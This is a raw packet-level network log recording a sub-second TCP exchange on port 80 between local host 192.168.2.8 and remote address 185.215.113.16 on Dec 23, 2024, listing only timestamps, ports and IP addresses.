Dec 23, 2024 17:28:44.379400969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.379528999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.380376101 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.380575895 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.380686998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.381393909 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.381789923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.381863117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.382018089 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.382986069 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.383342028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.383533001 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.384234905 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.385407925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.385425091 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.385438919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.385459900 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.385695934 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.386589050 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.386678934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.386759043 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.387800932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.387967110 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.388037920 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.389018059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.389069080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.389187098 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.390227079 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.390335083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.390445948 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.391418934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.391501904 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.391567945 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.392601013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.392751932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.392807007 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.393840075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.394068956 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.394198895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.395050049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.395734072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.396229982 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.396244049 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.396322012 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.397432089 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.398518085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.398628950 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.398670912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.398783922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.398924112 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.399792910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.400161028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.400217056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.401010990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.401109934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.401288033 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.402210951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.402471066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.402669907 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.403403997 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.403486013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.404576063 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.404783010 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.404843092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.404843092 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.405879974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.405987024 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.406064987 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.406980991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.407330990 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.407390118 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.408679008 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.408694029 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.408870935 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.409436941 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.410531998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.410840988 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.410852909 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.411336899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.411336899 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.412130117 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.412149906 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.413450003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.413511992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.414230108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.414242983 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.414805889 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.414838076 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.415329933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.415529013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.415543079 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.415705919 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.416584015 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.416935921 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.417078972 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.417841911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.418314934 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.418478966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.419080973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.419506073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.419687986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.420305967 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.420319080 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.420388937 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.421431065 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.422327995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.422499895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.422571898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.422801018 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.423340082 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.424432993 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.424448013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.424590111 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.424949884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.426177979 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.426192999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.426723003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.426742077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.427273989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.427396059 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.428030014 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.428086042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.428653955 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.428667068 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.428853989 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.543931007 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.663760900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.663779974 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.663793087 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.663805962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.663842916 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.663872004 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.664127111 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.664139032 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.664150000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.664186954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.664201975 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665010929 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665021896 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665039062 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665080070 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.665148973 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665762901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665777922 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665779114 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.665870905 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.665879011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665890932 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.665930986 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.666743040 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.666757107 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.666766882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.666810036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.666834116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.666898966 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.667432070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.667479992 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.667493105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.667570114 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.667643070 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.667973042 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.668329954 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.668343067 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.668401003 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.668427944 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.668438911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.668495893 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.669146061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.669157028 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.669168949 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.669231892 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.669240952 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.669423103 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.669970036 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.669986963 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.669998884 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.670067072 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.670084000 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.670120001 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.670871019 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.670885086 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.670897007 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.670947075 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.670991898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.670991898 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.671664953 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.671678066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.671689987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.671732903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.671752930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.672467947 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.672491074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.672502995 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.672579050 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.672579050 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.672633886 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.673340082 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.673353910 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.673374891 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.673389912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.673389912 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.673418045 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.673465014 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.674127102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.674179077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.674190998 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.674267054 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.674276114 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.674763918 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.675005913 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675018072 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675034046 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675118923 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.675141096 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675283909 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.675887108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675900936 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675911903 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675965071 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.675966024 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.676023960 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.676664114 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.676676035 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.676693916 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.676709890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.676760912 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.676776886 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.677493095 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.677536011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.677550077 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.677634954 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.677731991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.677963018 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.678388119 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.678400040 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.678414106 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.678452969 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.678503990 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.678503990 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.679231882 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.679286003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.679306030 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.679346085 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.679421902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.679769993 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.680089951 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680103064 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680119991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680179119 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.680188894 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680265903 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.680872917 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680886984 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680965900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.680979013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.681015968 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.681039095 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.681699991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.681725025 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.681737900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.681822062 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.681844950 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.682018995 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.682559013 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.682574987 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.682621002 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.682632923 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.682682037 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.682714939 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.683444023 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.683456898 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.683470011 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.683559895 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.683577061 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.684273005 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.684284925 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.684297085 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.684338093 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.684381962 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685106039 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685144901 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685158968 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685204029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.685223103 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685228109 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.685302019 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.685880899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685950994 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.685964108 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.686019897 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.686100006 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.686711073 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.686769962 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.686803102 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.686815977 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.686918974 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.686935902 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.687542915 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.687545061 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.687609911 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.687623024 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.687725067 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.687769890 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.687851906 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.688455105 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.688467026 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.688487053 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.688499928 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.688523054 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.688604116 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.689215899 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.689289093 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.689310074 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.689335108 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.689387083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.689542055 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.690059900 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.690077066 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.690155029 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.690196991 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.690210104 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.690259933 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.690891027 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.690947056 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.690959930 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.691158056 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.691175938 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.691308022 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.691793919 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.691806078 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.691817999 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.691853046 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.691926003 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.691978931 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.692758083 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.692770004 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.692811012 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.692827940 CET	80	49716	185.215.113.16	192.168.2.8
Dec 23, 2024 17:28:44.692840099 CET	49716	80	192.168.2.8	185.215.113.16
Dec 23, 2024 17:28:44.692887068 CET	49716	80	192.168.2.8	185.215.113.16
